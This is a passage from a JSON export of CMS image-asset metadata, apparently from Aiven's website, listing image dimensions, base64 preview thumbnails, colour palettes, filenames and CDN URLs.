mlplkRUZk5BEe2G0X7JHON/onuarcXVUPMjVgAWR4BsKboZl5RvX6pL3IU3YqJ3OHCmCRSMK5G5uGwjF8ZZFFjvEczi/DochUrsw0TfhoIsnIVIQCBlExVYhBwXw1f9kPqOrwk9lNu1n36OHd0WUvEQIOMxXZVdST9Zr2NDyVRz/MUYI8InvETKuYDHNTN9ZbeQ4MwGi7ioefE1X/ck+oSzJfns9/JpmZEXG+Jwng8yQi4JjKg3xu2FllXlQVgNaaiLj75M/q55L9AeFUhLpHszlvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60242a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8cb","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8cb","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e97682","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74947c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54450","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418.png","path":"images/sczeoy4w/production/1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418.png","sha1hash":"1c9d8815f9e338ec85c1c06f944492be90ee5fc1","size":58462,"uploadId":"cFwGUny44ytYwU9j0U6EbSAhDZkZqp2S","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418.png"} {"_createdAt":"2022-06-15T20:02:41Z","_id":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdy2Y","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:25Z","assetId":"1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6*@4x]Mxs.R+?wxuM{bbadxvoJfmofae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfklEQVQokU2R2U8aURSHR1Yri0ukiFL7ALMhKK5Qo1btEhubCiIgDDAMgqbVpjE2fakW7RJtNf2Xv2YuxvThy725yf3O75wjedMfGMp8EvgXPuKfP8GfPiKQahFMWQzPHPB4rk0obRGaNhmdNhlKNQnOdAjMH+ObP8GdOqJPP6BPO0AaW/7EYuGS9do12dIP5nevSO90mc11md35xsy7CzKFLst7XZ7tXpDNfWUpd85Cvks6f4Xy5pzBxROcmoVTMZGi2fesl7oUjm7Ztm7YNH6xZlzzonnLC+uO5/XfvLTu2Gr/5ZV1x6b5hzXjhnTuEnnrK9GNL/jmjnGIhC2kyFyLzPZnXle6bJR6CTL5C1bK39mo3wj5qnHDeuNWnNnST5JvzxnJfMSTOsSd7DzIhHBQqzA+22RyqUN06ZDIQoexxSMi2WOiq6dE1s4Ir54xtvaZyMop4ewxw7OHeDQTR7yGK27gjlcfkDyxfbyxfTyygUtpCJyqiUNv0Zfo9NBt2iKJWzN5pBgMKBV8chl/fI9ArIAvtsejWBHJKdexcSgNHGoTh2r1tqV3BPa9994UhQZUg1GtSFjbZUzNE1F2iKg7hNQCfrmM5JZrIp2Nfbc3JWaht3upNOtBaKcPqPuMa3km9RyTiRxP74kk9vDrNaRBuUxIrxCaqhHQDLzxKi7ZwGm3rpgCWyaSai18Wo1wosTEVJGJZJHoPeHkPgMJE+mxUuRpqsqTuSbDU3X642U8sTJuIe3J/m+5X6szpFcZSVQYSVQZmTIYTtYI2n/1BpJPrhDUDPx6g36tIdp2PbRuz7ItZO64IQr1x0qiqFeu4lUMPGodl27h0uyR1PkHmcRwmHNM5g8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29335c","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":32.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":32.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bad7","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96abe7","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a25d67","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6216","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844.png","path":"images/sczeoy4w/production/1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844.png","sha1hash":"1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff","size":64446,"uploadId":"igIHaTmuwezGGZ1WL75rLNGfs1pFIMYK","url":"https://cdn.sanity.io/images/sczeoy4w/production/1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844.png"} {"_createdAt":"2022-10-25T13:56:57Z","_id":"image-1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154-png","_rev":"616mvKb7ZHF3kYKX2EbzBW","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:57:04Z","assetId":"1cfe14832f1a84ad1cf9b69faa7bc5133db446dc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DMRpB^E1WAt5xt~pM{R+bJkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.311688311688312,"height":154,"width":664},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAnklEQVQYlWXNyxLCIAxAUf7/K5U25AUFGbAuQB1g6sazSRa5E4OIzjlEZGYiAgBVPc+ztdb/vC+fyTDzLwaAfdtEJOdcy1CnUspzek2ttdUbVV0/RcQhwg4iEsIxhBBjnHMsKaWccyll9b33ERPReE7s0O/OkyYf65FqTI94SZfVL0ZEiMhaazd3h3iDbLFYOnd+skaamHmdEZGfdPoCQ6oYhSYYutIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505050","foreground":"#fff","population":2.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283b5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#505050","foreground":"#fff","population":2.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b8c4","foreground":"#000","population":2.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4f4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6176ae","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6484bc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154.png","path":"images/sczeoy4w/production/1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154.png","sha1hash":"1cfe14832f1a84ad1cf9b69faa7bc5133db446dc","size":10972,"uploadId":"tf5Cq99JsjEDvdlz1L6nc8LW2TFMd1YP","url":"https://cdn.sanity.io/images/sczeoy4w/production/1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154.png"} {"_createdAt":"2022-05-31T07:49:08Z","_id":"image-1d4043b5bea9f96d93223888679ad99841653bec-835x835-jpg","_rev":"oe5xiZpxhRLq0FmrvCfMxE","_type":"sanity.imageAsset","_updatedAt":"2022-05-31T07:49:08Z","assetId":"1d4043b5bea9f96d93223888679ad99841653bec","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMIC+x7eDQ5R}@],F0$i$%oyIBNH?G-B9uM{Wqoysnaf$*bHW:sANH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":835,"width":835},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAIFBgME/8QAJRAAAQQBAwMFAQAAAAAAAAAAAQACAwQFBhESEyExBxYiQlEy/8QAFgEBAQEAAAAAAAAAAAAAAAAABQYE/8QAHhEBAAICAQUAAAAAAAAAAAAAAQACAxFBEyExcYH/2gAMAwEAAhEDEQA/AMdNDJksnToVvg+c7OefqP1XWqMB7Js0RHeNqvOB1OXlp/VQ6Uz4pa0o2bMHWhD+JaB3APZX/rnqatavR4mk1rpWESPe0eBt/KOvVUpxGcedxvUq9yeqOaMsBB7Huiy+OyHOlCdi34gbFEY0R1LKmUtUscyWj4I49SseGgu5fbuoQ1o8hrC2+23qOfMdyURMvn5IyoaPc55mFla/JHCOLB4CIiz6IwWTmf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593832","foreground":"#fff","population":7.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731b0f","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c1a0","foreground":"#000","population":12.02,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a78d","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c1a0","foreground":"#000","population":12.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2735c","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d54c37","foreground":"#fff","population":11.4,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"soumya-bijjal.jpg","path":"images/sczeoy4w/production/1d4043b5bea9f96d93223888679ad99841653bec-835x835.jpg","sha1hash":"1d4043b5bea9f96d93223888679ad99841653bec","size":127438,"uploadId":"ke6re2F8w3iyVyc8nNLlaNv1KUV8zb59","url":"https://cdn.sanity.io/images/sczeoy4w/production/1d4043b5bea9f96d93223888679ad99841653bec-835x835.jpg"} {"_createdAt":"2023-01-10T10:20:03Z","_id":"image-1d68795439e0a481c05fa4612c030890c5d0a18a-1972x600-png","_rev":"Y8XrsvoJ4zglb1hB5GEWRK","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:21:21Z","altText":null,"assetId":"1d68795439e0a481c05fa4612c030890c5d0a18a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2866666666666666,"height":600,"width":1972},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuklEQVQYlW2OSw7DIAxEOUxVZRWVAAkJMfhD7n+l1rjtpn1CQhqPPePWGGNMMcYQwrIs/uEfA+/9PM/TNN0Ht384OAEAzvMspRzHkbe8DXLO+77nnNd1TSmFEEIMKb1jNDAlx8y9d2EhJn1IrTVEJCIeEFGttRn4+QdOWK7r6tJZmIXlB9v/goSqDE2TrwGLCiJ6S0TMyqznmNiiVBFtahddrdUcrTUAQESbabnaSP1aGwBKKWawzVftJ5AlVDHeWocpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403f3f","foreground":"#fff","population":8.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#403f3f","foreground":"#fff","population":8.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#979797","foreground":"#000","population":6.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"stream-mastodon-blog-curl-mastodon.png","path":"images/sczeoy4w/production/1d68795439e0a481c05fa4612c030890c5d0a18a-1972x600.png","sha1hash":"1d68795439e0a481c05fa4612c030890c5d0a18a","size":131564,"title":null,"uploadId":"QoJoT6sPRVA8JCG7afXtIJcIOc65VdBO","url":"https://cdn.sanity.io/images/sczeoy4w/production/1d68795439e0a481c05fa4612c030890c5d0a18a-1972x600.png"} {"_createdAt":"2022-06-15T20:02:32Z","_id":"image-1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8Eq9","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:24Z","assetId":"1da0bf8e3623ae77720d596ada48b39fcdd548c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQSh=*0tSDj%KPqMxV[xtWVx]MwR%bbs:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHUlEQVQokR3MW2/aZhgAYP+2Xe96mtRdTurlpOZiB2mdqmVbSdU2m7JMVUpokhZGDk2jLKEhMA5JCgHCKTHGNsYYg+3vAAZMEpKW952y5wc8gmGyB0rDDMhKe0tWzY26YmzW6vqmbjibDh2tEzZaI3SwzLjnp3y8zPtX/o7VW04fZYP7kcONutx6zXrjEOXeK8a9H4VyVfanj3NKIvmhnzo6ZccnBZ45LXFJbnHL5qzZ0MhF5cxpNRsOpX2H8rHdtV1HrKk0XyizmqQRs0M4pa7G+WBLKJal9aOTfC+ZymAylcVMtoQXNQ0Nk6Jj21irnGI8soVn2QR2O200TIJSvYn1uobl8gVms3lU6goyhw77jMcE3SB/N5pdqjQ6KKvtqaZbYDkuUO4BJxYYch5y6V0oZw7AUksgF7MQe78P0YNDiEcPIZNOTdsNGQek2x9RKypQPg5TPmaUj/EuodxDdpfxEXJCgBgitOsZMM+T4GTfghpdgei7EIRW/LAfmAcluQ1cLWOvJblDU44KjI/DjHvs/4CPoMcH2GMu9lkfme1gS6lhrXiClfg25oNPsfBuCTOJA4z4n2F+9h7qr36Awt4bzMV3B+2zeFzgfBDucZfdBX3Gpy5j4FICA+qAa3egrUpQPv4XEi+fwfbsDESCAThKxOF48RE0Zz6DysMvYPXJTxgOLA6lxEZKcCkNu4RQlzg4IPZ0SLowIh3wiAme3YKh1QQm5sBY+hVKD76C1IvfIba/B+k/ZqHzzefQ+PbL6fuFn/FkJ+CS/E5CGBmN9b6ucNZS0O1oOLZ1vHSaeGVreG2rOHFUvDGqeLu9hMPv72Nt/jFG3m7h7sJz1L67j96TGezH1nAkRoeftFRMGMulhZ5YKFpS0eC62Ly0FH1iK/rEqus3lqTfWKJ+26nq0w97+vX8Ly3l6Vznn2CQhl785ZTmfzMm2y+bWIsbaJ5W0cytCVf6+b2RVnnoNqtzXlv0TSzJd2NJvltL9H3snvs+dqu+T92KD9SM73rnzZy4+Ofizupq6HVgeSWzufb8shx/jO3cHJiFR2Dmv/4PXSjdsHZzVcMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43372f","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#585024","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6542e","foreground":"#fff","population":4.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b0cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c48","foreground":"#fff","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688c7f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6542e","foreground":"#fff","population":4.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844.png","path":"images/sczeoy4w/production/1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844.png","sha1hash":"1da0bf8e3623ae77720d596ada48b39fcdd548c4","size":431633,"uploadId":"rvcBRtv71RCcqkDynpsDHWhG0vPD0ySI","url":"https://cdn.sanity.io/images/sczeoy4w/production/1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844.png"} {"_createdAt":"2023-10-09T10:10:25Z","_id":"image-1dedbbe8c38dee5d04af627af226ad9b7e387d85-400x400-jpg","_rev":"ck602smrwFloVEh7NYJo9L","_type":"sanity.imageAsset","_updatedAt":"2023-10-09T10:10:25Z","assetId":"1dedbbe8c38dee5d04af627af226ad9b7e387d85","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMI4bp+-019uR-DPR:.4Ji%3MJS*?ZE1Vt.AM}Mvt1RjIdnkR~%Ixt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcFBv/EACMQAAEEAgIBBQEAAAAAAAAAAAECAwQFABEGMRIHExQjQSH/xAAXAQEBAQEAAAAAAAAAAAAAAAAFAwIE/8QAIREAAQMDBAMAAAAAAAAAAAAAAQACBAMFERITIUFRkZL/2gAMAwEAAhEDEQA/AMitrYy3lonve02pI0vetHJr6i1jkC/YTL+6ONfagHS0byxcApW+TWCG5ZHxw2FrB/dfmVDkVRTWtc7TyYbJaU17aF+IBTrrR/MQr1KocWF50nrwUlKklrNpQiLybjVdGajwuP8AmylIPksAEnXf9xnFXcWTAtJMNxt1SmFlvfe9dYzmFohdvd9FDm4zM8NHpWL0weXGYLzR0tMZRG+swq67seQWk8T5bgSyhakBo+IBHWMZq4DMsgpuQMElcJY2UmW+HX1+ThSATrvGMZJRcBlf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b1f27","foreground":"#fff","population":3.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#133273","foreground":"#fff","population":3.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a4c97","foreground":"#fff","population":10.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c1cd","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabe4e","foreground":"#000","population":0.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a4c97","foreground":"#fff","population":10.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab1fdf","foreground":"#fff","population":4.27,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1666026819213.jpeg","path":"images/sczeoy4w/production/1dedbbe8c38dee5d04af627af226ad9b7e387d85-400x400.jpg","sha1hash":"1dedbbe8c38dee5d04af627af226ad9b7e387d85","size":40490,"uploadId":"hVFkgnKBPneocUjbLm9vdKvxFDNouKpg","url":"https://cdn.sanity.io/images/sczeoy4w/production/1dedbbe8c38dee5d04af627af226ad9b7e387d85-400x400.jpg"} {"_createdAt":"2024-02-27T12:58:21Z","_id":"image-1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56-1920x1037-jpg","_rev":"w5AXxS2dRCMjAjCd4XPgpQ","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:58:21Z","assetId":"1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQEoutX9bwX9Io.TRjxaxuadS$RPV[xut7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBQf/xAAiEAACAgEEAQUAAAAAAAAAAAABAgMEAAUGERJBEyExUcH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAZEQEAAwEBAAAAAAAAAAAAAAABAAIRA0H/2gAMAwEAAhEDEQA/AILktC9p8k14LZCt1BfjsP3KfRt3ppAsadFZVVEgdF+lOIm2bc7PLK0rGQzBSSfGNW5qNWGxFNFAiysp5bj3OFfqip5HpyMB9jRc3V6VhlRUnX57o/IPOGYnuCWSrfCV3aNCgYhT5PnDKWum7MNaDmT/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3627","foreground":"#fff","population":7.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d200a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d3627","foreground":"#fff","population":7.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabed4","foreground":"#000","population":7.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acc3ed","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7b61","foreground":"#fff","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c05010","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-team-sailing-2019.jpg","path":"images/sczeoy4w/production/1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56-1920x1037.jpg","sha1hash":"1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56","size":653065,"uploadId":"NjLHLvbPUqonLR06R684ww86Q9tL1PqW","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56-1920x1037.jpg"} {"_createdAt":"2024-08-23T10:35:59Z","_id":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_rev":"jVH4MF99ugSidFLyku0nVB","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T10:39:58Z","altText":"Aiven for PostgreSQL® logo","assetId":"1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKB=3zR400kC$w%hayRPf6V@00kD~7kDIU9af6%0kCt6?DkCD%ayof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFW0lEQVQ4jU2Va0zTVxjGTwdVQzSsrMMxJuKQljCwXphERaiX1mWb25LFKaCiKPdLCVbEilxKxxChxMzMLVrkMlaopbTjstJSyv3Sf3QQkmXgNI52zClbEaVQac+7/MvfyIfz5Xz45X3e53nOQYHn2lCgsBVtFChQyEUdjXNJ77XtsoEbVtBVvFPc3bVL0mvZU9K/EFk6YONeGbLsvzpsOFhuEvMqCC5fSjB4lQSN+80AOiQlEK+CQIh1vg2xhRrEzmmnB1/QskNEHSmcPH3T9nzDZFihcTZc3GPfJel1RpT0OyNLB+37yoatB8pHJngVpia+lEjmSwkWX0rQD1feRXwpgRBH1IECslvogcI2DjunXRKcqx0LFenmOXmdsD3fAGGFRggX98AuSS9ElPRDVOkg7CsbhgPlI/O8CtMYX0pI+FKCQ0Kjrgwj5Jehpm3K0rACsluKA4Vt94Ny2h3BuVoIFenw1rxOvL3AgD8sMuLw4h68++s+HFHSj6NKBzEFdfAqTPf5UqKYnJRXYaIh33SVl59AneKfpRkLyG5xBArbcFBOOw7O1eIQkQ62XNLjrZcNeEdBF95Z1I2pSXHkMhRT0FFKPgP5pCm5vhmqJr/M5nn/LA0EZLdgjkiLD5X1wGeV/fij8j74RDoAhysH4fNrwxD9PYG/+o6Ag1eHXkGBkq/kVRBRaH3KHbFPqnLCN10FGzKbMVvYgo9eH4CbxgdYaTJDbf8jaBieAsWIGX4aMoP63jTUDUzh5Jox2Fc2uBI6cbDcVISYSY0G72SF1SdVCb7pKrynSAc3OifxnzMv4C+rDSz/2WBu4SU8X1iCaeuC60z9a4OagSn85XXCJZ8yyrr/6kgn8kqQW5iJDXbvZAW8m6bEn5YbsX78b5i3L8GTZwvwZG4RnBgDxhhmntvhn2eLML+4BH0TMxAvu/fKKNJ9O/fKkBl5nqm3Mc7KnczEBvBOVuC94g5c2/cAns4tus601Qb2JQe8dDjh8eyC644EKwkLHLk+gsPFPXi3pI+c1EmGH607XbfgGV/vZCTI4a3EBrxJoMJxNwag9Z4Fxs1W+M0y65L8YnEJfp+eg3HzLOjGH0NW/ShESLpxWKERUzl17inptyGPuFrL2tN1ds/4emCclWNmYgNmn1PDkWs9cLHhV7hl/AMePnkOj56+gOreh5DfNA5nbhGwV2IEV07zDZgKP9koM1pzorrLI652du2pOvCMr8eMs3JgJjXiDRlKYAs1cPTbPtCPT4PpwQwI6u5CeIEOQkVa+OCiFoeKdMBZhpKNsu4UdxvQquO3xWtOVE96nKyBtafq8CsoKZ+Z1AjbRK1QohkHFTEFadUEhOS2w+ZzrTjoQjuQ4Q8V6TBV04kdBV1FiB5bxV0Ve7tp9Ynq+ZVQrwQ5kPLfS1cCV6KDUz8MwsdlRgg634oDsluA9bpRsNx9vXLb5c4o5BYj83KPqUqhx1aNrT5e7fA4WYNXTkpCfVLvYH9BM96UpcYbBWrwz9KQUEzV1BGcqx0NEXUkb8nTM5BbtIzmFi1ju8fIJPTYqvsUdKV8TMp/O0mB30m9g8nw+2U2Y6qmjkBh22RQTrs4OPcXVoiog4a8EurQG8du0d2iZRz3GFmxa9LX8kmjgIwUuU/vFAVQjQKq+6MB2S3iQGHrFvI93ZiuRsg9RobQF5XojWMyEspyj6lKJnfqMiqu1kpFykmFn2wUWdMJ3wyV0k+gTvLP0rDez/6ZzhZ0oM3CVoTQsZsu6Jtnasl90txjZAyXUcvuG8icrjv9o41slFeC3MxMatSvT1EU+qQpI33TVYwNmWra1lwdYgmXv5L/Af03k8fM8iBgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243444","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045ca3","foreground":"#fff","population":2.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3584c6","foreground":"#fff","population":10.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e8f3f5","foreground":"#000","population":10.13,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc0ec","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e93b3","foreground":"#fff","population":1.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3584c6","foreground":"#fff","population":10.57,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_